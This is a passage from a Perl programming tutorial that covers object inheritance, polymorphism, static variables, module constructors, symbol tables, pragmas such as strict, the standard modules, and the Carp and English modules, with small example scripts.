Let's start with the nearly empty class `B`. This class has no properties or methods; it just has a parent: the `A` class. When Perl executes `B->foo()`, the first line in the main package, it first looks in `B`. When the `foo()` function is not found, it looks to the `@ISA` array. The first element in the array is `A`, so Perl looks at the `A` class. Because `A` does have a `foo()` method, that method is executed.

When a method can't be found by looking at each element of the `@ISA` array, the `UNIVERSAL` class is checked. The second line of the main package, `B->bar()`, tries to use a function that is not defined in either the base class `B` or the parent class `A`. Therefore, as a last-ditch effort, Perl looks in the `UNIVERSAL` class. The `bar()` function is not there, but a special function called `AUTOLOAD()` is.

The `AUTOLOAD()` function is normally used to automatically load undefined functions. Its normal use is a little beyond the scope of this book. However, in this example, I have changed it into an error

reporting tool. Instead of loading undefined functions, it now causes the script to end (via the `die()` function) and displays an error message indicating which method is undefined and which class Perl was looking in. Notice that the message ends with a newline to prevent Perl from printing the script name and line number where the script death took place. In this case, the information would be meaningless because the line number would be inside the `AUTOLOAD()` function.

The next listing below shows how to call the constructor of the parent class. This example shows how to explicitly call the parent's constructor. In the next section, you learn how to use the `@ISA` array to generically call methods in the parent classes. However, because constructors are frequently used to initialize properties, I feel that they should always be called explicitly, which causes less confusion when calling constructors from more than one parent.

This example also shows how to inherit the properties of a parent class. By calling the parent class constructor function, you can initialize an anonymous hash that can be used by the base class for adding additional properties.

It operates as follows:

- Start a definition of the *`Inventory_item`* class.
- Define the constructor for the class.
- Get the name of the class from the parameter array.
- Assign the rest of the parameters to the *`%params`* hash.
- Bless the anonymous hash with the class name.
- Use *`%params`* to initialize the class properties.
- Start a definition of the *`Pen`* class.
- Initialize the *`@ISA`* array to define the parent classes.
- Define the constructor for the class.
- Get the name of the class from the parameter array.
- Assign the rest of the parameters to the *`%params`* hash.
- Call the constructor for the parent class, *`Inventory_item`*, and assign the resulting object reference to *`$self`*.
- Create an entry in the anonymous hash for the *`INK_COLOR`* key.
- Bless the anonymous hash so that *`ref()`* will return *`Pen`* and return a reference to the anonymous hash.
- Start the *`main`* namespace.
- Call the constructor for the *`Pen`* class. Assign the object reference to *`$item`*.
- Note that an array with property-value pairs is passed to the constructor.
- Print the three property values to verify that the property initialization worked.

The Perl code to perform the above is `invent2.pl`:

```
package Inventory_item;

    sub new {

        my($class)  = shift;
```

```
        my(%params) = @_;
        bless {
            "PART_NUM"    => $params{"PART_NUM"},
            "QTY_ON_HAND" => $params{"QTY_ON_HAND"}
            }, $class;
    }

package Pen;
    @ISA = (Inventory_item);



 sub new {
        my($class) = shift;
        my(%params) = @_;
        my($self) = Inventory_item->new(@_);

        $self->{"INK_COLOR"} = $params{"INK_COLOR"};

        return(bless($self, $class));
    }

package main;
    $pen = Pen->new(
        "PART_NUM"    => "12A-34",
```

```
    "QTY_ON_HAND" => 34,

    "INK_COLOR"   => "blue");


    print("The part number is " . %{$pen}->{'PART_NUM'}    . "\n");

    print("The quantity is "    . %{$pen}->{'QTY_ON_HAND'} . "\n");

    print("The ink color is "   . %{$pen}->{'INK_COLOR'}   . "\n");
```

This program displays:

```
The part number is 12A-34
The quantity is 34
The ink color is blue
```

You should be familiar with all the aspects of this script by now. The line `my($self) = Inventory_item->new(@_);` is used to get a reference to an anonymous hash. This hash becomes the object for the base class.

To understand that calling the parent constructor creates the object that becomes the object for the base class, you must remember that an object *is* the anonymous hash. Because the parent constructor creates the anonymous hash, the base class needs a reference only to that hash in order to add its own properties. This reference is stored in the `$self` variable.

You may also see the variable name `$this` used to hold the reference in some scripts. Both `$self` and `$this` are acceptable in the object-oriented world.

Polymorphism

Polymorphism, although a big word, is a simple concept. It means that methods defined in the base class will override methods defined in the parent classes. The following small example clarifies this concept `polymorph.pl`:

```
package A;

    sub foo {

        print("Inside A::foo\n");

    }


package B;

    @ISA = (A);


    sub foo {

        print("Inside B::foo\n");

    }


package main;

    B->foo();
```

This program displays

```
Inside B::foo
```

The `foo()` defined in class `B` overrides the definition that was inherited from class `A`.

Polymorphism is mainly used to add or extend the functionality of an existing class without reprogramming the whole class.

The prgram below uses polymorphism to override the `qtyChange()` function inherited from

`Inventory_item`. In addition, it shows how to call a method in a parent class when the specific parent class name (also known as the *SUPER* class) is unknown.

The Perl program is as follows (`polymorph2.pl`):

```
package Inventory_item;

    sub new {

        my($class)  = shift;

        my(%params) = @_;

        bless {

            "PART_NUM"    => $params{"PART_NUM"},

            "QTY_ON_HAND" => $params{"QTY_ON_HAND"}

        }, $class;

    }




    sub qtyChange {

        my($self)  = shift;

        my($delta)  = $_[0] ? $_[0] : 1;


        $self->{"QTY_ON_HAND"} += $delta;

    }


package Pen;

    @ISA = ("Inventory_item");

    @PARENT::ISA = @ISA;
```

```
    sub new {
        my($class) = shift;
        my(%params) = @_;
        my($self) = $class->PARENT::new(@_);

        $self->{"INK_COLOR"} = $params{"INK_COLOR"};

        return($self);
    }

    sub qtyChange {
        my($self)  = shift;
        my($delta)  = $_[0] ? $_[0] : 100;

        $self->PARENT::qtyChange($delta);
    }



package main;

    $pen = Pen->new(
        "PART_NUM"=>"12A-34",
        "QTY_ON_HAND"=>340,
        "INK_COLOR" => "blue");
```

```
print("The data type is "   . ref($pen)                . "\n");

print("The part number is " . %{$pen}->{'PART_NUM'}    . "\n");

print("The quantity is "    . %{$pen}->{'QTY_ON_HAND'} . "\n");

print("The ink color is "   . %{$pen}->{'INK_COLOR'}   . "\n");



$pen->qtyChange();

print("\n");

print("The quantity is "    . %{$pen}->{'QTY_ON_HAND'} . "\n");
```

This program displays:

```
The data type is Pen
The part number is 12A-34
The quantity is 340
The ink color is blue
The quantity is 440
```

The first interesting line in the preceding example is `my($delta) = $_[0] ? $_[0] : 1;`. This line checks to see if a parameter was passed to `Inventory_item::qtychange()` and if not, assigns a value of 1 to `$delta`. This line of code uses the `ternary` operator to determine if `$_[0]` has a value or not. A zero is used as the subscript because the class reference was shifted out of the parameter array and into `$self`.

The next interesting line is `@PARENT::ISA = @ISA;`. This assignment lets you refer to a method defined in the parent class. Perl searches the parent hierarchy (the `@ISA` array) until a definition is found for the requested function.

The `Pen::new()` function uses the `@PARENT::ISA` to find the parent constructor using this line: `my($self) = $class->PARENT::new(@_);`. I don't really recommend calling parent constructors in this manner because the constructor that gets called will depend on the order of classes in the `@ISA` array. Having code that is dependent on an array keeping a specific order is a recipe for disaster; you might forget about the dependency and spend hours trying to find the problem. However, I thought you should see how it works. Because the `$class` variable (which is equal to `Pen`) is used to locate the parent constructor, the hash will be blessed with the name of the base `Pen` class-one small advantage of this technique. This is shown by the program's output. This technique avoids having to call the `bless()` function in the base class constructor.

By now, you must be wondering where polymorphism fits into this example. Well, the simple fact that both the `Pen` and `Inventory_item` classes have the `qtyChange()` method means that polymorphism is being used. While the `Inventory_item::qtyChange()` method defaults to changing the quantity by one, the `Pen::qtyChange()` method defaults to changing the quantity by 100. Because the `Pen::qtyChange()` method simply modifies the behavior of

`Inventory_item::qtyChange()`, it does not need to know any details about how the quantity is actually changed. This capability to change functionality without knowing the details is a sign that abstraction is taking place.

Tip The `Inventory_item::qtychange()` notation refers to the `qtyChange()` function in the `Inventory_item` class, and `Pen::qtyChange()` refers to the `qtyChange()` function in the `Pen` class. This notation lets you uniquely identify any method in your script.

---

 dave@cs.cf.ac.uk

One Class Can Contain Another

Now that you have seen several objects in action, you probably realize that some class properties will be objects themselves. For example, you might have a billing object that contains an inventory object, or you might use a car object inside a warehouse object. The possibilities are endless.

The next example shows how to add a color object to the inventory system you've been building. It also shows you that Perl will execute statements that are not part of a function -- even those in packages other than main-as soon as they are seen by the interpreter.

The basic outline of the program is as follows:

- Start a definition of the *Inventory_item* class.
- Define the constructor for the class.
- Get the name of the class from the parameter array.
- Assign the rest of the parameters to the *%params* hash.
- Bless the anonymous hash with the class name.
- Use *%params* to initialize the class properties.
- Start a definition of the *Pen* class.
- Initialize the *@ISA* array to define the parent classes.
- Define the constructor for the class.
- Get the name of the class from the parameter array.
- Assign the rest of the parameters to the *%params* hash.
- Call the constructor for the parent class and assign the resulting object reference to *$self*.
- Create an entry in the anonymous hash for the `INK_COLOR` key by calling the constructor for the *Color* class.
- Return a reference to the anonymous hash that has been blessed into the *Pen* class.
- Start a definition of the *Color* class.
- Print a message on *STDOUT*.
- Create two entries in the *%Colors* hash.
- Define the constructor for the class.
- Get the name of the class from the parameter array.
- Assign the rest of the parameters to the *%params* hash.
- Assign a reference to one of the entries in the *%Colors* hash to *$self*.
- This will be used as the object reference.
- Bless the hash entry into the *Color* class and return *$self* as the object reference.
- Start the *main* namespace.
- Print a message on *STDOUT*.
- Call the constructor for the *Pen* class.

- Assign the object reference to *$item*.
- Use *%properties* as a temporary value to simplify the dereferencing process.
- Print the three property values to verify that the property initialization worked.

The `classinclasse.pl` code is as follows:

```
package Inventory_item;

    sub new {

        my($class)  = shift;

        my(%params) = @_;

        bless {

            "PART_NUM"    => $params{"PART_NUM"},

            "QTY_ON_HAND" => $params{"QTY_ON_HAND"}

        }, $class;

}


package Pen;

    @ISA = (Inventory_item);


    sub new {

        my($class) = shift;

        my(%params) = @_;

        my($self) = Inventory_item->new(@_);


        $self->{"INK_COLOR"} = Color->new($params{"INK_COLOR"});


        return(bless($self, $class));

    }
```

```
package Color;
    print("Executing Color statements\n");
    $colors{"blue"}  = "Die Lot 13";
    $colors{"red"}   = "Die Lot 5";

    sub new {
        my($class) = shift;
        my($param) = @_;
        my($self) = \$colors{$param};

        return(bless($self, $class));
    }



package main;
    print("Executing main statements\n");

    $pen = Pen->new(
        "PART_NUM"    => "12A-34",
        "QTY_ON_HAND" => 34,
        "INK_COLOR"   => "blue");

    %properties = %{$pen};
    print("The part number is " . $properties{'PART_NUM'}     . "\n");
```

```
    print("The quantity is "    . $properties{'QTY_ON_HAND'}  . "\n");

    print("The ink color is "   . ${$properties{'INK_COLOR'}} . "\n");
```

This program displays:

```
Executing Color statements
Executing main statements
The part number is 12A-34
The quantity is 34
The ink color is Die Lot 13
```

This is faitly involved so where to start? You already know about the `Inventory_item` class and the `@ISA` array. Let's look at the assignment to the `INK_COLOR` entry of the `Pen` class. This line,

```
$self->{t;{"INK_COLOR"} = Color->new($params{"INK_COLOR"});,
```

is used to call the constructor for the `Color` class.

The expression `$params{"INK_COLOR"}` passes the value of `"blue"` to the `Color` constructor, which returns a reference to one of the colors in the `%colors` associative array.

You can tell that Perl executes all statements that are not inside functions because the `print` statement in the `Color` package is executed before the `print` statement in the `main` package. This is why you can define hash entries inside the `Color` class. When variables are defined inside a package but outside a function, they are called *static* variables. You can access one of the hash entries in the `Color` package like this: `$Color::colors{"blue"}`.

---

 dave@cs.cf.ac.uk

Static Versus Regular Methods and Variables

You have already learned that a static method is one that can be called without needing an instantiated object. Actually, you can also have static variables as you saw in the last section. Static variables can be used to emulate *constants*, values that don't change. Constants are very useful. For example, you can use them for tax rates, mathematical constants, and things such as state abbreviations. Here is an example using a small Perl script, `static.pl`:

```
package Math;

    $math{'PI'} = 3.1415;



package main;

    print("The value of PI is $Math::math{'PI'}.\n");
```

This program displays:

```
The value of PI is 3.1415.
```

You can also do this:

```
package Math;
    $PI = 3.1415;
package main;
    print("The value of PI is $Math::PI.\n");
```

Because you have been using a static method all along-the `new()` method -- let's demonstrate a regular function.

The following code shows how to use the `UNIVERSAL` package to define a utility function that is available to all classes.

- Start a definition of the *`UNIVERSAL`* class.
- Define the *`lookup()`* method.
- Dereference the object reference (the first element of `@_`) and use the second parameter as the key into the anonymous hash.
- Return the value of the hash entry.
- Start a definition of the *`Inventory_item`* class.
- Define the constructor for the class.
- Assign the rest of the parameters to the *`%params`* hash.

- Bless the anonymous hash with the class name.
- Use *%params* to initialize the class properties.
- Start the *main* namespace.
- Call the constructor for the *Inventory_item* class.
- Assign the object reference to *$item*.
- Print the two property values using the *lookup()* method to verify that the property initialization worked.

The Perl Code for this is `stat_univ.pl`:

```
package UNIVERSAL;

    sub lookup {

        return(%{$_[0]}->{$_[1]});

    }


package Inventory_item;

    sub new {

        my($class)  = shift;

        my(%params) = @_;

        my($self)   = { };


        $self->{"PART_NUM"}    = $params{"PART_NUM"};

        $self->{"QTY_ON_HAND"} = $params{"QTY_ON_HAND"};


        return(bless($self, $class));

    }


package main;


    $item = Inventory_item->new("PART_NUM"=>"12A-34", "QTY_ON_HAND"=>34);
```

```
    print("The part number is " . $item->lookup('PART_NUM')     . "\n");

    print("The quantity is "    . $item->lookup('QTY_ON_HAND')  . "\n");
```

Finally, the `printAll()` function shown here displays all the properties of a class, or you can specify one or more properties to display `printAll.pl`:

```
sub printAll {

    my($self) = shift;

    my(@keys) = @_ ? @_ : sort(keys(%{$self}));


    print("CLASS: $self\n");

    foreach $key (@keys) {

        printf("\t%10.10s => $self->{$key}\n", $key);

    }

}
```

If you put this function into the `UNIVERSAL` package, it will be available to any classes you define.

After constructing an inventory object, the statement `$item->printAll();` might display

```
CLASS: Inventory_item=HASH(0x77ceac)

          PART_NUM => 12A-34

        QTY_ON_HAN => 34
```

and the statement

```
$item->printAll('PART_NUM');
```

might display

```
CLASS: Inventory_item=HASH(0x77ceac)

          PART_NUM => 12A-34
```

Perl Modules

In the last chapter, you were introduced to object-oriented programming. Along the way, you learned some aspects of programming with Modules although you may not have realized it. The shortest definition of a *module* is a namespace defined in a file.

For example, the `English` module is defined in the `English.pm` file and the `Find` module is defined in the `Find.pm` file.

Of course, modules are more than simply a namespace in a file. But, don't be concerned -- there's not much more.

Perl 4, the last version of Perl, depended on libraries to group functions in units. 31 libraries shipped with Perl 4.036. These have now been replaced with a standard set of modules. However, the old libraries are still available in case you run across some old Perl scripts that need them.

Libraries and modules are generally placed in a subdirectory called Lib.

For examole in a typical machine, the library directory is

`c:\perl5\lib`. If you don't know what your library directory is, ask your system administrator. Some modules are placed in subdirectories like `Lib/Net` or `Lib/File`.

The modules in these subdirectories are loaded using the subdirectory name, two colons, and the module name. For example,

`Net::Ping` or `File::Basename`.

Libraries are made available to your script by using the `require` compiler directive.

Directives may seem like functions, but they aren't. The difference is that compiler directives are carried out when the script is compiled and functions are executed while the script is running.

Some modules are just collections of functions -- like the libraries -- with some "module" stuff added. Modules should follow these guidelines:

- The file name should be the same as the package name.
- The package name should start with a capital letter.
- The file name should have a file extension of `pm`.
- The package should be derived from the `Exporter` class if object-oriented techniques are not being used.
- The module should export functions and variables to the main namespace using the `@EXPORT` and `@EXPORT_OK` arrays if object-oriented techniques are not being used.

Modules are loaded by the `use` directive, which is similar to `require` except it automates the

importing of function and variable names.

Modules that are simply a collection of functions can be thought of as classes without constructors. Remember that the package name *is* the class name. Whenever you see a package name, you're also seeing a class-even if none of the object-oriented techniques are used.

Object-oriented modules keep all function and variable names close to the vest-so to speak. They are not available directly, you access them through the module name. Remember the `Inventory_item->new()` notation?

However, simple function collections don't have this object-oriented need for secrecy. They want your script to directly access the defined functions. This is done using the Exporter class, `@EXPORT`, and `@EXPORT_OK`.

The `Exporter` class supplies basic functionality that gives your script access to the functions and variables inside the module. The `import()` function, defined inside the `Exporter` class, is executed at compile-time by the `use` compiler directive. The `import()` function takes function and variable names from the module namespace and places them into the `main` namespace. Thus, your script can access them directly.

Note I can almost hear your thoughts at this point. You're thinking, "The exporting of function and variable names is handled by the *`import()`* function?" Well, I sympathize. But, look at it this way: The module is exporting and your script is importing.

You may occasionally see a reference to what may look like a nested module. For example, `$Outer::Inner::foo`. This really refers to a module named `Outer::Inner`, so named by the statement: `package Outer::Inner;`. Module designers sometimes use this technique to simulate nested modules.

- Module Constructors and Destructors
  - The `BEGIN` Block
  - The `END` Block
- Symbol Tables
- The `require` Compiler Directive
- The `use` Compiler Directive
- Pragma in Perl
- The `strict` Pragma
- The Standard Modules
- `strict, my()` and Modules
- Module Examples
  - The `Carp` Module
  - The `English` Module
  - The `Env` Module

---

 dave@cs.cf.ac.uk

Module Constructors and Destructors

You may recall constructors and destructors from the discussion about objects in the last chapter. Constructors are used to initialize something and destructors are used to write log messages, close files, and do other clean-up type duties.

Perl has constructors and destructors that work at the module level as well as the class level. The module constructor is called the `BEGIN` block, while the module destructor is called the `END` block.

- The `BEGIN` Block
- The `END` Block

---

dave@cs.cf.ac.uk

The `BEGIN` Block

The `BEGIN` block is evaluated as soon as it is defined. Therefore, it can include other functions using `do()` or `require` statements. Since the blocks are evaluated immediately after definition, multiple `BEGIN` blocks will execute in the order that they appear in the script.

For Example (`export.pl`):

- Define a *`BEGIN`* block for the main package.
- Display a string indicating the begin block is executing.
- Start the *`Foo`* package.
- Define a *`BEGIN`* block for the *`Foo`* package.

The Perl code is (`export.pl`):

```
BEGIN {

    print("main\n");

}



package Foo;

    BEGIN {

        print("Foo\n");

    }
```

This program displays:

```
main
Foo
```

The END Block

The `END` blocks are the last thing to be evaluated. They are even evaluated after `exit()` or `die()` functions are called. Therefore, they can be used to close files or write messages to log files. Multiple `END` blocks are evaluated in reverse order.

```
END {

    print("main\n");

}



package Foo;

    END {

        print("Foo\n");

    }
```

This program displays:

```
Foo
Main
```

Note Signals that are sent to your script can bypass the `END` blocks. So, if your script is in danger of stopping due to a signal, be sure to define a signal-handler function. See Chapter 13, "Handling Errors and Signals," for more information.

---

dave@cs.cf.ac.uk

Symbol Tables

Each namespace -- and therefore, each module, class, or package -- has its own symbol table. A *symbol table*, in Perl, is a hash that holds all of the names defined in a namespace. All of the variable and function names can be found there. The hash for each namespace is named after the namespace with two colons. For example, the symbol table for the `Foo` namespace is called `%Foo::`.

The next example shows a program that displays all of the entries in the `Foo::` namespace. It basically operates as follows:

- Define the *`dispSymbols()`* function.
- Get the hash reference that should be the first parameter.
- Declare local temporary variables.
- Initialize the *`%symbols`* variable. This is done to make the code easier to read. Initialize the *`@symbols`* variables. This variable is also used to make the code easier to read.
- Iterate over the symbols array displaying the key-value pairs of the symbol table.
- Call the *`dispSymbols()`* function to display the symbols for the Foo package.
- Start the Foo package.
- Initialize the *`$bar`* variable. This will place an entry into the symbol table. Define the *`baz()`* function.
- This will also create an entry into the symbol table.

The Perl code to do this is as follows, `symbol.pl`:

```
sub dispSymbols {

    my($hashRef) = shift;

    my(%symbols);

    my(@symbols);



    %symbols = %{$hashRef};

    @symbols = sort(keys(%symbols));



    foreach (@symbols) {
```

```
        printf("%-10.10s| %s\n", $_, $symbols{$_});

    }

}



dispSymbols(\%Foo::);



package Foo;

    $bar = 2;



    sub baz {

        $bar++;

    }
```

This program displays:

```
bar        | *Foo::bar
baz        | *Foo::baz
```

This example shows that there are only two things in the `%Foo::` symbol table-only those things that the script placed there. This is not the case with the `%main::` symbol table. When I display the entries in `%main::`, I see over 85 items. Part of the reason for the large number of names in the `main` package is that some variables are forced there. For example, `STDIN`, `STDOUT`, `STDERR`, `@ARGV`, `@ARGVOUT`, `%ENV`, `@Inc`, and `%SIG` are forced into the `main` namespace regardless of when they are used.

The use Compiler Directive

When it came time to add modules to Perl, thought was given to how this could be done and still support the old libraries. It was decided that a new directive was needed. Thus, `use` was born.

The `use` directive will automatically export function and variable names to the `main` namespace by calling the module's `import()` function. Most modules don't have their own `import()` function; instead they inherit it from the `Exporter` module. You have to keep in mind that the `import()` function is not applicable to object-oriented modules. Object-oriented modules should not export any of their functions or variables.

You can use the following lines as a template for creating your own modules, `mod_template.pl`:

```
package Module;

    require(Exporter);

    @ISA = qw(Exporter);

    @EXPORT = qw(funcOne $varOne @variable %variable);

    @EXPORT_OK = qw(funcTwo $varTwo);
```

The names in the `@EXPORT` array will always be moved into the `main` namespace. Those names in the `@EXPORT_OK` will be moved only if you request them. This small module can be loading into your script using this statement:

```
use Module;
```

Since `use` is a compiler directive, the module is loaded as soon as the compiler sees the directive. This means that the variables and functions from the module are available to the rest of your script.

If you need to access some of the names in the `@EXPORT_OK` array, use a statement like this:

```
use Module qw(:DEFAULT funcTwo);  # $varTwo is not exported.
```

Once you add optional elements to the `use` directive you need to explicitly list all of the names that you want to use. The `:DEFAULT` is a short way of saying, "give me everything in the `@EXPORT` list."

Pragma in Perl

In a,hopefully futile, effort to confuse programmers, the `use` directive, was given a second job to do. It turns other compiler directives on and off. For example, you might want to force Perl to use integer math instead of floating-point match to speed up certain sections of your program.

Remember all of the new terminology that was developed for objects? The computer scientists have also developed their own term for a compiler directive. And that term is *Pragma*. The `use` statement controls the other pragmas.

The listing below shows a program that uses the `integer` pragma `integer.pl`:

```
print("Floating point math: ", 10 / 3, "\n");

use integer;

print("Integer math:        " 10 / 3, "\n");
```

This program displays:

```
Floating point math: 3.33333333333333
Integer math:        3
```

Pragmas can be turned off using the `no` compiler directive. For example, the following statement turns off the `integer` pragma:

```
no integer;
```

Here is a list of the pragmas that you can use.

integer

-- Forces integer math instead of floating point or double precision math.

less

-- Requests less of something,like memory or cpu time,from the compiler. This pragma has not been implemented yet.

sigtrap

-- Enables stack backtracing on unexpected signals.

strict

-- Restricts unsafe constructs. This pragma is highly recommended! Every program should use it. See next section.

subs

-- Lets you predeclare function names.

 dave@cs.cf.ac.uk

The `strict` Pragma

The most important pragma is `strict`. This pragma generates compiler errors if unsafe programming is detected. There are three specific things that are detected:

- Symbolic references
- Non-local variables (those not declared with `my()`) and variables that aren't fully qualified.
- Non-quoted words that aren't subroutine names or file handles.

Symbolic references use the name of a variable as the reference to the variable. They are a kind of shorthand widely used in the C programming language, but not available in Perl.

The following program that uses symbolic references via the following procedure:

- Declare two variables.
- Initialize *`$ref`* with a reference to *`$foo`*.
- Dereference *`$ref`* and display the result.
- Initialize *`$ref`* to *`$foo`*.
- Dereference *`$ref`* and display the result.
- Invoke the strict pragma.
- Dereference *`$ref`* and display the result.

The Perl code is `strict.pl`:

```
my($foo) = "Testing.";

my($ref);



$ref = \$foo;

print("${$ref}\n");      # Using a real reference



$ref = $foo;

print("${$ref}\n");      # Using a symbolic reference



use strict;
```

```
print("${$ref}\n");
```

When run with the command `perl 15lst05.pl`, this program displays:

```
Testing.
Can't use string ("Testing.") as a SCALAR ref while "strict refs" in
    use at 15lst05.pl line 14.
```

The second print statement, even though obviously wrong, does not generate any errors. Imagine if you were using a complicated data structure such as the ones described in Chapter on References. You could spend hours looking for a bug like this. After the `strict` pragma is turned on, however, a runtime error is generated when the same print statement is repeated. Perl even displays the value of the scalar that attempted to masquerade as the reference value.

The `strict` pragma ensures that all variables that are used are either local to the current block or they are fully qualified. Fully qualifying a variable name simply means to add the package name where the variable was defined to the variable name. For example, you would specify the `$numTables` variable in package `Room` by saying `$Room::numTables`. If you are not sure which package a variable is defined in, try using the `dispSymbols()` function from the previous pogram in this chapter. Call the `dispSymbols()` function once for each package that your script uses.

The last type of error that `strict` will generate an error for is the non-quoted word that is not used as a subroutine name or file handle. For example, the following line is good:

```
$SIG{'PIPE'} = 'Plumber';
```

And this line is bad:

```
$SIG{PIPE} = 'Plumber';
```

Perl 5, without the `strict` pragma, will do the correct thing in the bad situation and assume that you meant to create a string literal. However, this is considered bad programming practice.

Tip Always use the `strict` pragma in your scripts. It will take a little longer to declare everything, but the time saved in debugging will more than make up for it.

The Standard Modules

Below we list the modules that should come with all distributions of Perl. Some of these modules are not portable across all operating systems, however. The descriptions for the modules mention the incompatibility

Text::AbbrevCreates

-- an abbreviation table from a list. The abbreviation table consists of the shortest sequence of characters that can uniquely identify each element of the list.

AnyDBM_File

-- Provides a framework for accessing multiple DBMs. This is a UNIX-based module. AutoLoaderLoads functions on demand. This enables your scripts to use less memory.

AutoSplit

-- Splits a package or module into its component parts for autoloading. BenchmarkTracks the running time of code. This module can be modified to run under Windows but some of its functionality will be lost.

Carp

-- Provides an alternative to the `warn()` and `die()` functions that report the line number of the calling routine. See "Example: The `Carp` Module" later in the chapter for more information.

I18N::Collate

-- Compares 8-bit scalar data according to the current locale. This helps to give an international viewpoint to your script.

Config

-- Accesses the Perl configuration options.

Cwd

-- Gets the pathname of the current working directory. This module will generate a warning message when used with the -w command line option under the Windows and VAX VMS operating systems. You can safely ignore the warning.

Dynaloader

-- Lets you dynamically load C libraries into Perl code.

English

-- Lets you use English terms instead of the normal special variable names.

Env

-- Lets you access the system environment variables using scalars instead of a hash. If you make heavy use of the environment variables, this module might improve the speed of your script.

Exporter

-- Controls namespace manipulations.

Fcntl

-- Loads file control definition used by the `fcntl()` function.

FileHandle

-- Provides an object-oriented interface to filehandles.

File::Basename

-- Separates a file name and path from a specification.

File::CheckTree

-- Runs filetest checks on a directory tree.

File::Find

-- Traverse a file tree. This module will not work under the Windows operating systems without modification.

Getopt

-- Provides basic and extended options processing.

ExtUtils::MakeMaker

-- Creates a Makefile for a Perl extension.

Ipc::Open2

-- Opens a process for both reading and writing.

Ipc::Open3

-- Opens a process for reading, writing, and error handling.

POSIX

-- Provides an interface to IEEE 1003.1 namespace.

Net::Ping

-- Checks to see if a host is available.

Socket

-- Loads socket definitions used by the socket functions.

---

strict, my() and Modules

In order to use the `strict` pragma with modules, you need to know a bit more about the `my()` function about how it creates lexical variables instead of local variables. You may be tempted to think that variables declared with `my()` are local to a package, especially since you can have more than one package statement per file. However, `my()` does the exact opposite; in fact, variables that are declared with `my()` are never stored inside the symbol table.

If you need to declare variables that are local to a package, fully qualify your variable name in the declaration or initialization statement, like this:

```
use strict;



$main::foo = '';



package Math;

    $Math::PI = 3.1415 && $Math::PI;
```

This code snippet declares two variables: `$foo` in the `main` namespace and `$PI` in the `Math` namespace. The `&& $Math::PI` part of the second declaration is used to avoid getting error messages from the -w command line option. Since the variable is inside a package, there is no guarantee that it will be used by the calling script and the -w command line option generates a warning about any variable that is only used once. By adding the harmless logical and to the declaration, the warning messages are avoided.

---

 dave@cs.cf.ac.uk

Module Examples

This section shows you how to use the `Carp`, `English`, and `Env` modules. After looking at these examples, you should feel comfortable about trying the rest.

- The `Carp` Module
- The `English` Module
- The `Env` Module

---

dave@cs.cf.ac.uk

The `Carp` Module

This useful little module lets you do a better job of analyzing runtime errors -- like when your script can't open a file or when an unexpected input value is found. It defines the `carp()`, `croak()`, and `confess()` functions. These are similar to `warn()` and `die()`. However, instead of reported in the exact script line where the error occurred, the functions in this module will display the line number that called the function that generated the error.

The following code does the following:

- Load the Carp module.
- Invoke the strict pragma.
- Start the Foo namespace.
- Define the *`foo()`* function.
- Call the *`carp()`* function.
- Call the *`croak()`* function.
- Switch to the main namespace.
- Call the *`foo()`* function.

The Perl for this is `carp.pl`:

```
use Carp;

use strict;



package Foo;

    sub foo {

        main::carp("carp called at line " . __LINE__ .

            ",\n    but foo() was called");



        main::croak("croak called at line " . __LINE__ .

            ",\n    but foo() was called");

}
```

```
package main;

    foo::foo();
```

This program displays:

```
carp called at line 9,
    but foo() was called at e.pl line 18
croak called at line 10,
    but foo() was called at e.pl line 18
```

This example uses a compiler symbol, __LINE__, to incorporate the current line number in the string passed to both `carp()` and `croak()`. This technique enables you to see both the line number where `carp()` and `croak()` were called *and* the line number where `foo()` was called.

The `Carp` module also defines a `confess()` function which is similar to `croak()` except that a function call history will also be displayed.

The next example shows how this function can be used. The function declarations were placed after the `foo()` function call so that the program flow reads from top to bottom with no jumping around. It operates as follows:

- Load the Carp module.
- Invoke the strict pragma.
- Call *`foo()`*.
- Define *`foo()`*.
- Call *`bar()`*.
- Define *`bar()`*.
- Call *`baz()`*.
- Define *`baz()`*.
- Call *`Confess()`*.

The Perl code is `carp2.pl`:

```
use Carp;

use strict;



foo();



sub foo {
```

```
    bar();

}



sub bar {

    baz();

}



sub baz {

    confess("I give up!");

}
```

This program displays:

```
I give up! at e.pl line 16
        main::baz called at e.pl line 12
        main::bar called at e.pl line 8
        main::foo called at e.pl line 5
```

This daisy-chain of function calls was done to show you how the function call history looks when displayed. The function call history is also called a *stack trace*. As each function is called, the address from which it is called gets placed on a stack. When the `confess()` function is called, the stack is unwound or read. This lets Perl print the function call history.

The English Module

The English module is designed to make your scripts more readable. It creates aliases for all of the special variables that were discussed in a previous chapter.

The following aliases that are defined in Table 15.1

Table 15.1: English Module Aliases

Special Variable	*Alias*
Miscellaneous	
$_	$ARG
@_	@ARG
$"	$LIST_SEPARATOR
$;	$SUBSCRIPT_SEPARATOR or $SUBSEP
Regular Expression or Matching	
$&	$MATCH
$`	$PREMATCH
$'	$POSTMATCH
$+	$LAST_PAREN_MATCH
Input	
$.	$INPUT_LINE_NUMBER or $NR
$/	$INPUT_RECORD_SEPARATOR or $RS
Output	
$|	$OUTPUT_AUTOFLUSH
$,	$OUTPUT_FIELD_SEPARATOR or $OFS
$\	$OUTPUT_RECORD_SEPARATOR or $ORS
Formats	
$%	$FORMAT_PAGE_NUMBER
$=	$FORMAT_LINES_PER_PAGE
$_	$FORMAT_LINES_LEFT
$~	$FORMAT_NAME
$^	$FORMAT_TOP_NAME
$:	$FORMAT_LINE_BREAK_CHARACTERS

$^L	$FORMAT_FORMFEED
Error Status	
$?	$CHILD_ERROR
$!	$OS_ERROR or $ERRNO
$@	$EVAL_ERROR
Process Information	
$$	$PROCESS_ID or $PID
$<	$REAL_USER_ID or $UID
$>	$EFFECTIVE_USER_ID or $EUID
$(	$REAL_GROUP_ID or $GID
$)	$EFFECTIVE_GROUP_ID or $EGID
$0	$PROGRAM_NAME
Internal Variables	
$]	$PERL_VERSION
$^A	$ACCUMULATOR
$^D	$DEBUGGING
$^F	$SYSTEM_FD_MAX
$^I	$INPLACE_EDIT
$^P	$PERLDB
$^T	$BASETIME
$^W	$WARNING
$^X	$EXECUTABLE_NAME

Below is a program that uses one of the English variables to access information about a matched string. The program:

- Loads the *English* module.
- Invokes the strict pragma.
- Initializes the search space and pattern variables.
- Performs a matching operation to find the pattern in the *$searchSpace* variable.
- Displays information about the search.
- Displays the matching string using the English variable names.
- Displays the matching string using the standard Perl special variables.

The Perl code is as follows `english.pl`:

```
use English;

use strict;

my($searchSpace) = "TTTT BBBABBB DDDD";
```

```
my($pattern)     = "B+AB+";

$searchSpace =~ m/$pattern/;

print("Search space:   $searchSpace\n");

